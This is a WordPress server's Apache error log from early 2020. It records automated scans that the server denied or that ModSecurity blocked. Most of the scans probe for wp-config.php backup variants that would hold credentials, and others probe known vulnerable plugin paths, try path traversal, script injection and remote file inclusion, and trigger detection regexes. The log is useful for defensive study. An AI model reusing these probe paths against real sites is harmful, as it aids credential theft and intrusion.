[Tue Jan 28 07:28:11.559330 2020] [authz_core:error] [pid 12220] [client 185.220.101.5:36512] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-config.php-lixo
[Tue Jan 28 07:28:23.555192 2020] [authz_core:error] [pid 16273] [client 46.165.245.154:58402] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-config.php_revision
[Tue Jan 28 07:28:24.317767 2020] [authz_core:error] [pid 9262] [client 46.165.245.154:59100] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-config.php.2
[Tue Jan 28 07:28:25.832434 2020] [authz_core:error] [pid 16264] [client 46.165.245.154:60424] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-config.php_____
[Tue Jan 28 07:28:26.580210 2020] [authz_core:error] [pid 16250] [client 46.165.245.154:60968] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-config.php.bkp
[Tue Jan 28 07:28:27.320425 2020] [authz_core:error] [pid 16272] [client 46.165.245.154:33178] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-config.php----
[Tue Jan 28 07:28:28.073133 2020] [authz_core:error] [pid 9262] [client 46.165.245.154:33572] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-config.php--
[Tue Jan 28 07:28:28.807177 2020] [authz_core:error] [pid 15687] [client 46.165.245.154:33976] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-config.php---
[Tue Jan 28 18:28:52.752278 2020] [ssl:error] [pid 14943] AH02032: Hostname www.fincasandoval.com provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Tue Jan 28 18:28:52.755457 2020] [ssl:error] [pid 14943] AH02032: Hostname www.fincasandoval.com provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Tue Jan 28 21:50:28.151719 2020] [authz_core:error] [pid 10683] [client 149.202.139.17:57552] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-config-sample.php
[Wed Jan 29 11:17:57.132274 2020] [proxy_fcgi:error] [pid 30047] [client 149.202.139.17:58690] AH01071: Got error 'Primary script unknown\n'
[Wed Jan 29 22:13:54.047959 2020] [proxy_fcgi:error] [pid 22674] [client 149.202.139.17:53984] AH01071: Got error 'Primary script unknown\n'
[Thu Jan 30 06:20:48.218551 2020] [proxy_fcgi:error] [pid 483] [client 149.202.139.17:43082] AH01071: Got error 'Primary script unknown\n'
[Thu Jan 30 15:28:57.801447 2020] [proxy_fcgi:error] [pid 10325] [client 149.202.139.17:50590] AH01071: Got error 'Primary script unknown\n'
[Thu Jan 30 18:54:52.498042 2020] [proxy_fcgi:error] [pid 8202] [client 193.106.30.99:40616] AH01071: Got error 'Primary script unknown\n'
[Thu Jan 30 19:43:03.231920 2020] [proxy_fcgi:error] [pid 14173] [client 193.106.30.99:46322] AH01071: Got error 'Primary script unknown\n'
[Thu Jan 30 23:36:06.287538 2020] [proxy_fcgi:error] [pid 13177] [client 149.202.139.17:45814] AH01071: Got error 'Primary script unknown\n'
[Sat Feb 01 11:51:08.639800 2020] [proxy_fcgi:error] [pid 24299] [client 166.62.80.109:37660] AH01071: Got error 'Primary script unknown\n', referer: http://fincasandoval.com//test/wp-login.php
[Sat Feb 01 13:42:14.457728 2020] [authz_core:error] [pid 4146] [client 52.47.118.96:52478] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-config.php
[Sun Feb 02 03:08:35.007050 2020] [ssl:error] [pid 16251] AH02032: Hostname www.dodgecityrentals.com provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Sun Feb 02 03:08:35.009582 2020] [ssl:error] [pid 16251] AH02032: Hostname www.dodgecityrentals.com provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Sun Feb 02 14:51:20.160749 2020] [authz_core:error] [pid 10530] [client 62.210.254.195:37496] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/plugins/wp-central
[Sun Feb 02 14:51:24.872737 2020] [proxy_fcgi:error] [pid 9829] [client 62.210.254.195:40808] AH01071: Got error 'Primary script unknown\n'
[Sun Feb 02 17:12:09.564930 2020] [ssl:error] [pid 23327] AH02032: Hostname www.fincasandoval.com provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Sun Feb 02 17:12:09.569252 2020] [ssl:error] [pid 23327] AH02032: Hostname www.fincasandoval.com provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Sun Feb 02 20:25:10.552380 2020] [authz_core:error] [pid 10198] [client 165.227.161.125:32737] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/plugins/wp-central
[Sun Feb 02 20:26:45.130158 2020] [proxy_fcgi:error] [pid 10194] [client 165.227.161.125:50017] AH01071: Got error 'Primary script unknown\n'
[Mon Feb 03 01:45:20.399653 2020] [authz_core:error] [pid 6464] [client 139.162.147.128:48692] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/plugins/wp-central
[Mon Feb 03 01:45:25.115024 2020] [proxy_fcgi:error] [pid 7311] [client 139.162.147.128:51136] AH01071: Got error 'Primary script unknown\n'
[Mon Feb 03 07:09:41.242383 2020] [authz_core:error] [pid 29677] [client 136.243.148.16:43658] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/plugins/wp-central
[Mon Feb 03 07:09:47.229226 2020] [proxy_fcgi:error] [pid 29334] [client 136.243.148.16:44992] AH01071: Got error 'Primary script unknown\n'
[Mon Feb 03 12:13:12.752195 2020] [authz_core:error] [pid 6543] [client 103.82.235.2:1120] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/plugins/ajax_multi_upload, referer: http://www.google.com/
[Mon Feb 03 12:30:23.342315 2020] [authz_core:error] [pid 8881] [client 49.212.2.185:52736] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/plugins/wp-central
[Mon Feb 03 12:30:29.653234 2020] [proxy_fcgi:error] [pid 10084] [client 49.212.2.185:55872] AH01071: Got error 'Primary script unknown\n'
[Mon Feb 03 15:54:46.458296 2020] [authz_core:error] [pid 8682] [client 83.103.115.6:54616] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/plugins/wp-central
[Mon Feb 03 15:54:48.800667 2020] [proxy_fcgi:error] [pid 8441] [client 83.103.115.6:55060] AH01071: Got error 'Primary script unknown\n'
[Mon Feb 03 18:00:14.850077 2020] [:error] [pid 28090] [client 91.214.87.235:57244] [client 91.214.87.235] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "39"] [id "33340006"] [rev "68"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: Generic Path Recursion denied in URI/ARGS"] [data "../../,ARGS:file"] [severity "CRITICAL"] Access denied with code 403 (phase 2). Pattern match "\\\\.\\\\./\\\\.\\\\./" at ARGS:file. [hostname "fincasandoval.com"] [uri "/wp-content/plugins/google-mp3-audio-player/direct_download.php"] [unique_id "XjhRnvo@VqpBYjk-Ey2mkwAAACU"]
[Mon Feb 03 18:48:00.166362 2020] [:error] [pid 2149] [client 91.214.87.235:50658] [client 91.214.87.235] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "39"] [id "33340006"] [rev "68"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: Generic Path Recursion denied in URI/ARGS"] [data "../../,ARGS:file"] [severity "CRITICAL"] Access denied with code 403 (phase 2). Pattern match "\\\\.\\\\./\\\\.\\\\./" at ARGS:file. [hostname "fincasandoval.com"] [uri "/wp-content/plugins/cherry-plugin/admin/import-export/download-content.php"] [unique_id "Xjhc0InvsuIJyhakvpckdQAAAAQ"]
[Mon Feb 03 22:32:44.310976 2020] [ssl:error] [pid 397] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Mon Feb 03 22:32:44.321013 2020] [ssl:error] [pid 397] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Mon Feb 03 22:32:44.587068 2020] [ssl:error] [pid 732] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Mon Feb 03 22:32:44.587132 2020] [ssl:error] [pid 732] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Mon Feb 03 22:32:44.847313 2020] [ssl:error] [pid 514] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Mon Feb 03 22:32:44.847367 2020] [ssl:error] [pid 514] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Mon Feb 03 22:32:45.101663 2020] [ssl:error] [pid 539] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Mon Feb 03 22:32:45.101726 2020] [ssl:error] [pid 539] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Mon Feb 03 22:32:45.366662 2020] [ssl:error] [pid 729] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Mon Feb 03 22:32:45.395722 2020] [ssl:error] [pid 729] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Tue Feb 04 15:27:34.747098 2020] [:error] [pid 28912] [client 91.214.87.235:63522] [client 91.214.87.235] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "39"] [id "33340006"] [rev "68"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: Generic Path Recursion denied in URI/ARGS"] [data "../../,ARGS:file"] [severity "CRITICAL"] Access denied with code 403 (phase 2). Pattern match "\\\\.\\\\./\\\\.\\\\./" at ARGS:file. [hostname "fincasandoval.com"] [uri "/wp-content/plugins/google-document-embedder/libs/pdf.php"] [unique_id "Xjl-VuzHTeiUeDctPDkD8AAAAC8"]
[Tue Feb 04 17:41:39.595600 2020] [proxy_fcgi:error] [pid 20036] [client 71.19.148.20:54789] AH01071: Got error 'Primary script unknown\n'
[Tue Feb 04 20:17:47.156851 2020] [:error] [pid 9210] [client 141.98.81.196:51222] [client 141.98.81.196] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "250"] [id "33340147"] [rev "134"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: Potential Cross Site Scripting Attack"] [data "<script"] [severity "CRITICAL"] Access denied with code 403 (phase 2). Pattern match "(?:< ?script|(?:<|< ?/)(?:(?:java|vb)script|about|applet|activex|chrome)|< ?/?i?frame|\\\\%env)" at REQUEST_URI. [hostname "fincasandoval.com"] [uri "/wp-content/themes/book-lite/style.css"] [unique_id "XjnDW2klApxlb-kUwG-PmwAAAAo"]
[Wed Feb 05 13:25:18.171029 2020] [:error] [pid 18767] [client 91.214.87.235:61151] [client 91.214.87.235] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "39"] [id "33340006"] [rev "68"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: Generic Path Recursion denied in URI/ARGS"] [data "../../,ARGS:files"] [severity "CRITICAL"] Access denied with code 403 (phase 2). Pattern match "\\\\.\\\\./\\\\.\\\\./" at ARGS:files. [hostname "fincasandoval.com"] [uri "/wp-content/themes/mTheme-Unus/css/css.php"] [unique_id "Xjq0LnWqFEvvqhXj6UgevAAAAAI"]
[Wed Feb 05 15:15:08.648155 2020] [proxy_fcgi:error] [pid 2150] [client 193.106.30.99:56104] AH01071: Got error 'Primary script unknown\n'
[Wed Feb 05 15:37:57.671154 2020] [authz_core:error] [pid 5284] [client 103.82.235.2:55537] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/plugins/mac-dock-gallery, referer: http://www.google.com/
[Thu Feb 06 01:46:46.728661 2020] [proxy_fcgi:error] [pid 15166] [client 178.238.8.89:61100] AH01071: Got error 'Primary script unknown\n'
[Thu Feb 06 01:46:47.856504 2020] [proxy_fcgi:error] [pid 14809] [client 178.238.8.89:61210] AH01071: Got error 'Primary script unknown\n'
[Thu Feb 06 01:46:51.662983 2020] [proxy_fcgi:error] [pid 13591] [client 178.238.8.89:62016] AH01071: Got error 'Primary script unknown\n'
[Thu Feb 06 01:46:52.145231 2020] [proxy_fcgi:error] [pid 14506] [client 178.238.8.89:62094] AH01071: Got error 'Primary script unknown\n'
[Thu Feb 06 01:46:52.634097 2020] [proxy_fcgi:error] [pid 14990] [client 178.238.8.89:62231] AH01071: Got error 'Primary script unknown\n'
[Thu Feb 06 01:46:55.086137 2020] [proxy_fcgi:error] [pid 11077] [client 178.238.8.89:62645] AH01071: Got error 'Primary script unknown\n'
[Thu Feb 06 01:46:55.445252 2020] [proxy_fcgi:error] [pid 15168] [client 178.238.8.89:62765] AH01071: Got error 'Primary script unknown\n'
[Thu Feb 06 01:46:56.132465 2020] [autoindex:error] [pid 15173] [client 178.238.8.89:62910] AH01276: Cannot serve directory /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/uploads/: No matching DirectoryIndex (index.html,index.cgi,index.pl,index.php,index.xhtml,index.htm,index.shtml) found, and server-generated directory index forbidden by Options directive
[Thu Feb 06 01:46:56.521363 2020] [autoindex:error] [pid 14809] [client 178.238.8.89:62999] AH01276: Cannot serve directory /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/uploads/2020/02/: No matching DirectoryIndex (index.html,index.cgi,index.pl,index.php,index.xhtml,index.htm,index.shtml) found, and server-generated directory index forbidden by Options directive
[Thu Feb 06 01:46:56.938330 2020] [proxy_fcgi:error] [pid 11077] [client 178.238.8.89:63074] AH01071: Got error 'Primary script unknown\n'
[Thu Feb 06 01:46:57.296373 2020] [proxy_fcgi:error] [pid 15168] [client 178.238.8.89:63191] AH01071: Got error 'Primary script unknown\n'
[Thu Feb 06 01:46:57.899280 2020] [proxy_fcgi:error] [pid 15173] [client 178.238.8.89:63314] AH01071: Got error 'Primary script unknown\n'
[Thu Feb 06 01:46:58.714241 2020] [proxy_fcgi:error] [pid 14809] [client 178.238.8.89:63453] AH01071: Got error 'Primary script unknown\n'
[Thu Feb 06 01:46:59.158356 2020] [proxy_fcgi:error] [pid 11077] [client 178.238.8.89:63539] AH01071: Got error 'Primary script unknown\n'
[Thu Feb 06 01:46:59.813529 2020] [proxy_fcgi:error] [pid 13591] [client 178.238.8.89:63707] AH01071: Got error 'Primary script unknown\n'
[Thu Feb 06 01:47:00.222580 2020] [proxy_fcgi:error] [pid 14809] [client 178.238.8.89:63808] AH01071: Got error 'Primary script unknown\n'
[Thu Feb 06 01:47:00.627410 2020] [authz_core:error] [pid 11077] [client 178.238.8.89:63902] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/new_license.php
[Thu Feb 06 08:56:16.638774 2020] [proxy_fcgi:error] [pid 19247] [client 193.106.30.99:48276] AH01071: Got error 'Primary script unknown\n'
[Fri Feb 07 04:56:23.202859 2020] [proxy_fcgi:error] [pid 23846] [client 193.106.30.99:41450] AH01071: Got error 'Primary script unknown\n'
[Fri Feb 07 07:07:40.092664 2020] [proxy_fcgi:error] [pid 14723] [client 193.106.30.99:44650] AH01071: Got error 'Primary script unknown\n'
[Fri Feb 07 09:26:38.021774 2020] [proxy_fcgi:error] [pid 28325] [client 163.172.116.48:51473] AH01071: Got error 'Primary script unknown\n'
[Fri Feb 07 14:12:51.696247 2020] [proxy_fcgi:error] [pid 565] [client 162.243.126.96:54191] AH01071: Got error 'Primary script unknown\n', referer: fincasandoval.com
[Sat Feb 08 15:27:40.026643 2020] [proxy_fcgi:error] [pid 26907] [client 163.172.116.48:51084] AH01071: Got error 'Primary script unknown\n'
[Sun Feb 09 02:50:05.192738 2020] [proxy_fcgi:error] [pid 9631] [client 78.85.138.146:40768] AH01071: Got error 'Primary script unknown\n'
[Sun Feb 09 16:31:39.557051 2020] [proxy_fcgi:error] [pid 17850] [client 78.85.160.138:58938] AH01071: Got error 'Primary script unknown\n'
[Sun Feb 09 16:44:03.270830 2020] [:error] [pid 18675] [client 194.60.254.243:52889] [client 194.60.254.243] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "39"] [id "33340006"] [rev "68"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: Generic Path Recursion denied in URI/ARGS"] [data "../../,ARGS:file"] [severity "CRITICAL"] Access denied with code 403 (phase 2). Pattern match "\\\\.\\\\./\\\\.\\\\./" at ARGS:file. [hostname "fincasandoval.com"] [uri "/wp-content/plugins/google-document-embedder/libs/pdf.php"] [unique_id "XkAow9NdURVvb6ZlvuejBgAAAAY"]
[Mon Feb 10 07:42:50.172914 2020] [proxy_fcgi:error] [pid 1617] [client 163.172.119.161:58407] AH01071: Got error 'Primary script unknown\n'
[Mon Feb 10 23:36:58.139946 2020] [proxy_fcgi:error] [pid 8994] [client 193.106.30.99:36344] AH01071: Got error 'Primary script unknown\n'
[Tue Feb 11 17:26:35.943054 2020] [proxy_fcgi:error] [pid 6953] [client 78.85.160.138:50892] AH01071: Got error 'Primary script unknown\n'
[Tue Feb 11 19:55:26.194668 2020] [:error] [pid 29433] [client 194.60.254.243:43282] [client 194.60.254.243] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "39"] [id "33340006"] [rev "68"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: Generic Path Recursion denied in URI/ARGS"] [data "../../,ARGS:files"] [severity "CRITICAL"] Access denied with code 403 (phase 2). Pattern match "\\\\.\\\\./\\\\.\\\\./" at ARGS:files. [hostname "fincasandoval.com"] [uri "/wp-content/themes/mTheme-Unus/css/css.php"] [unique_id "XkL4nm6XCLBOyx8J160fIgAAAA4"]
[Wed Feb 12 21:06:51.475292 2020] [proxy_fcgi:error] [pid 22913] [client 78.24.14.42:28924] AH01071: Got error 'Primary script unknown\n'
[Wed Feb 12 21:06:55.591025 2020] [proxy_fcgi:error] [pid 22706] [client 78.24.14.42:35560] AH01071: Got error 'Primary script unknown\n'
[Thu Feb 13 03:39:59.950911 2020] [:error] [pid 13302] [client 194.60.254.243:32068] [client 194.60.254.243] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "39"] [id "33340006"] [rev "68"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: Generic Path Recursion denied in URI/ARGS"] [data "../../,ARGS:file"] [severity "CRITICAL"] Access denied with code 403 (phase 2). Pattern match "\\\\.\\\\./\\\\.\\\\./" at ARGS:file. [hostname "fincasandoval.com"] [uri "/wp-content/themes/NativeChurch/download/download.php"] [unique_id "XkS2-0GSdQwJEwc2S7uwHgAAAAc"]
[Thu Feb 13 05:41:09.207921 2020] [proxy_fcgi:error] [pid 5010] [client 188.166.16.17:33304] AH01071: Got error 'Primary script unknown\n'
[Thu Feb 13 05:41:09.886050 2020] [proxy_fcgi:error] [pid 31264] [client 188.166.16.17:33618] AH01071: Got error 'Primary script unknown\n'
[Thu Feb 13 07:55:04.008153 2020] [proxy_fcgi:error] [pid 19485] [client 149.202.9.215:47676] AH01071: Got error 'Primary script unknown\n'
[Thu Feb 13 07:55:07.139243 2020] [proxy_fcgi:error] [pid 19549] [client 149.202.9.215:48696] AH01071: Got error 'Primary script unknown\n'
[Thu Feb 13 07:59:34.775902 2020] [proxy_fcgi:error] [pid 20236] [client 66.249.64.90:51699] AH01071: Got error 'Primary script unknown\n'
[Thu Feb 13 17:17:36.318368 2020] [proxy_fcgi:error] [pid 7451] [client 82.100.237.51:46520] AH01071: Got error 'Primary script unknown\n'
[Thu Feb 13 17:17:36.800955 2020] [proxy_fcgi:error] [pid 7823] [client 82.100.237.51:46684] AH01071: Got error 'Primary script unknown\n'
[Thu Feb 13 21:33:18.750037 2020] [proxy_fcgi:error] [pid 15273] [client 52.89.116.197:42664] AH01071: Got error 'Primary script unknown\n'
[Thu Feb 13 21:33:26.384515 2020] [proxy_fcgi:error] [pid 15045] [client 52.89.116.197:43448] AH01071: Got error 'Primary script unknown\n'
[Fri Feb 14 01:51:41.142490 2020] [proxy_fcgi:error] [pid 16288] [client 93.186.202.223:60272] AH01071: Got error 'Primary script unknown\n'
[Fri Feb 14 01:51:41.346298 2020] [proxy_fcgi:error] [pid 15511] [client 93.186.202.223:60337] AH01071: Got error 'Primary script unknown\n'
[Fri Feb 14 01:58:10.252498 2020] [authz_core:error] [pid 18344] [client 92.63.197.160:45779] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/plugins/iwp-client, referer: http://www.facebook.net/
[Fri Feb 14 03:20:19.543100 2020] [log_config:warn] [pid 27240] (28)No space left on device: [client 208.113.160.7:45572] AH00646: Error writing to logs/access_log
[Fri Feb 14 03:20:20.317829 2020] [log_config:warn] [pid 27679] (28)No space left on device: [client 208.113.160.7:46704] AH00646: Error writing to logs/access_log
[Fri Feb 14 03:20:21.309981 2020] [log_config:warn] [pid 27680] (28)No space left on device: [client 208.113.160.7:46794] AH00646: Error writing to logs/access_log
[Fri Feb 14 03:35:12.591409 2020] [log_config:warn] [pid 28477] (28)No space left on device: [client 132.148.157.66:42278] AH00646: Error writing to logs/access_log
[Fri Feb 14 03:35:13.540915 2020] [log_config:warn] [pid 28457] (28)No space left on device: [client 132.148.157.66:43602] AH00646: Error writing to logs/access_log
[Fri Feb 14 03:35:15.478852 2020] [log_config:warn] [pid 28887] (28)No space left on device: [client 132.148.157.66:43788] AH00646: Error writing to logs/access_log
[Fri Feb 14 03:37:35.916752 2020] [log_config:warn] [pid 28484] (28)No space left on device: [client 113.190.233.246:22627] AH00646: Error writing to logs/access_log
[Fri Feb 14 03:44:39.972335 2020] [log_config:warn] [pid 29665] (28)No space left on device: [client 173.212.245.240:48574] AH00646: Error writing to logs/access_log
[Fri Feb 14 03:45:23.442497 2020] [log_config:warn] [pid 29482] (28)No space left on device: [client 89.248.107.232:41648] AH00646: Error writing to logs/access_log
[Fri Feb 14 03:45:23.554787 2020] [log_config:warn] [pid 29665] (28)No space left on device: [client 173.212.245.240:55274] AH00646: Error writing to logs/access_log
[Fri Feb 14 06:12:08.286437 2020] [proxy_fcgi:error] [pid 22601] [client 192.169.159.241:44237] AH01071: Got error 'Primary script unknown\n'
[Fri Feb 14 06:12:08.973052 2020] [proxy_fcgi:error] [pid 20721] [client 192.169.159.241:44292] AH01071: Got error 'Primary script unknown\n'
[Fri Feb 14 16:25:23.739307 2020] [:error] [pid 8774] [client 194.60.254.243:54859] [client 194.60.254.243] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "39"] [id "33340006"] [rev "68"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: Generic Path Recursion denied in URI/ARGS"] [data "../../,ARGS:file"] [severity "CRITICAL"] Access denied with code 403 (phase 2). Pattern match "\\\\.\\\\./\\\\.\\\\./" at ARGS:file. [hostname "fincasandoval.com"] [uri "/wp-content/themes/churchope/lib/downloadlink.php"] [unique_id "Xka74759XhZfhdgfSg3R-QAAABM"]
[Fri Feb 14 20:25:44.675505 2020] [proxy_fcgi:error] [pid 11170] [client 77.247.181.163:32756] AH01071: Got error 'Primary script unknown\n'
[Fri Feb 14 20:25:48.897361 2020] [proxy_fcgi:error] [pid 11758] [client 77.247.181.163:20604] AH01071: Got error 'Primary script unknown\n'
[Fri Feb 14 20:25:51.309017 2020] [proxy_fcgi:error] [pid 11767] [client 77.247.181.163:8966] AH01071: Got error 'Primary script unknown\n'
[Fri Feb 14 20:25:53.205775 2020] [proxy_fcgi:error] [pid 11373] [client 77.247.181.163:24882] AH01071: Got error 'Primary script unknown\n'
[Fri Feb 14 20:25:55.834770 2020] [:error] [pid 11782] [client 77.247.181.163:15320] [client 77.247.181.163] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "179"] [id "33340162"] [rev "294"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: URL detected as argument, possible RFI attempt detected"] [data "%TX:1,TX:1"] [severity "CRITICAL"] Access denied with code 403 (phase 2). Match of "beginsWith %{request_headers.host}" against "TX:1" required. [hostname "fincasandoval.com"] [uri "/ini.php"] [unique_id "Xkb0Q0hO8wsjXhIJ3zOe1gAAABs"]
[Fri Feb 14 20:25:59.276613 2020] [:error] [pid 11763] [client 77.247.181.163:3422] [client 77.247.181.163] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "179"] [id "33340162"] [rev "294"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: URL detected as argument, possible RFI attempt detected"] [data "%TX:1,TX:1"] [severity "CRITICAL"] Access denied with code 403 (phase 2). Match of "beginsWith %{request_headers.host}" against "TX:1" required. [hostname "fincasandoval.com"] [uri "/ini.php"] [unique_id "Xkb0R8nH@VyXTFzPn0kZTgAAABU"]
[Fri Feb 14 20:26:01.246280 2020] [proxy_fcgi:error] [pid 11765] [client 77.247.181.163:17714] AH01071: Got error 'Primary script unknown\n'
[Fri Feb 14 20:26:03.205062 2020] [proxy_fcgi:error] [pid 11758] [client 77.247.181.163:26890] AH01071: Got error 'Primary script unknown\n'
[Fri Feb 14 20:26:05.262502 2020] [proxy_fcgi:error] [pid 11578] [client 77.247.181.163:30572] AH01071: Got error 'Primary script unknown\n'
[Fri Feb 14 20:26:07.381877 2020] [proxy_fcgi:error] [pid 11758] [client 77.247.181.163:12684] AH01071: Got error 'Primary script unknown\n'
[Sun Feb 16 04:23:36.166614 2020] [proxy_fcgi:error] [pid 4933] [client 78.85.48.12:16505] AH01071: Got error 'Primary script unknown\n'
[Sun Feb 16 04:23:36.719835 2020] [proxy_fcgi:error] [pid 4935] [client 78.85.48.12:20166] AH01071: Got error 'Primary script unknown\n'
[Mon Feb 17 05:22:27.796208 2020] [authz_core:error] [pid 22801] [client 103.82.235.2:18971] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/plugins/front-file-manager, referer: http://www.google.com/
[Mon Feb 17 18:24:23.787809 2020] [authz_core:error] [pid 11026] [client 195.206.105.217:41182] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-config.php.1, referer: fincasandoval.com
[Mon Feb 17 18:24:27.104369 2020] [authz_core:error] [pid 11055] [client 195.206.105.217:42868] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-config.php.swp, referer: fincasandoval.com
[Mon Feb 17 18:24:29.161596 2020] [authz_core:error] [pid 11025] [client 185.220.100.254:13002] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-config.php.disabled, referer: fincasandoval.com
[Mon Feb 17 18:24:31.446518 2020] [authz_core:error] [pid 10873] [client 185.220.100.254:13224] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-config.bak, referer: fincasandoval.com
[Mon Feb 17 18:24:34.771074 2020] [authz_core:error] [pid 10870] [client 185.220.100.254:15906] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-config.php.new, referer: fincasandoval.com
[Mon Feb 17 18:24:36.746769 2020] [authz_core:error] [pid 11026] [client 46.165.245.154:37384] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-config.php.old, referer: fincasandoval.com
[Mon Feb 17 18:24:38.390583 2020] [authz_core:error] [pid 11055] [client 46.165.245.154:39060] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-config.php.bak, referer: fincasandoval.com
[Mon Feb 17 18:24:40.110916 2020] [authz_core:error] [pid 11041] [client 46.165.245.154:40274] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-config.php.backup, referer: fincasandoval.com
[Mon Feb 17 18:24:41.886350 2020] [authz_core:error] [pid 10905] [client 46.165.245.154:41738] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-config.php.save, referer: fincasandoval.com
[Mon Feb 17 18:24:43.582038 2020] [authz_core:error] [pid 11013] [client 46.165.245.154:43428] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-config.php~, referer: fincasandoval.com
[Mon Feb 17 18:24:45.467420 2020] [authz_core:error] [pid 11026] [client 185.220.101.66:34719] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-config.php_, referer: fincasandoval.com
[Mon Feb 17 18:24:47.335248 2020] [authz_core:error] [pid 10903] [client 185.220.101.66:44219] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-config.php.orig, referer: fincasandoval.com
[Mon Feb 17 18:24:49.202786 2020] [authz_core:error] [pid 10870] [client 185.220.101.66:38147] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-config.php_orig, referer: fincasandoval.com
[Tue Feb 18 01:02:24.539714 2020] [authz_core:error] [pid 26529] [client 163.172.119.161:57293] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/plugins/contact-form-7
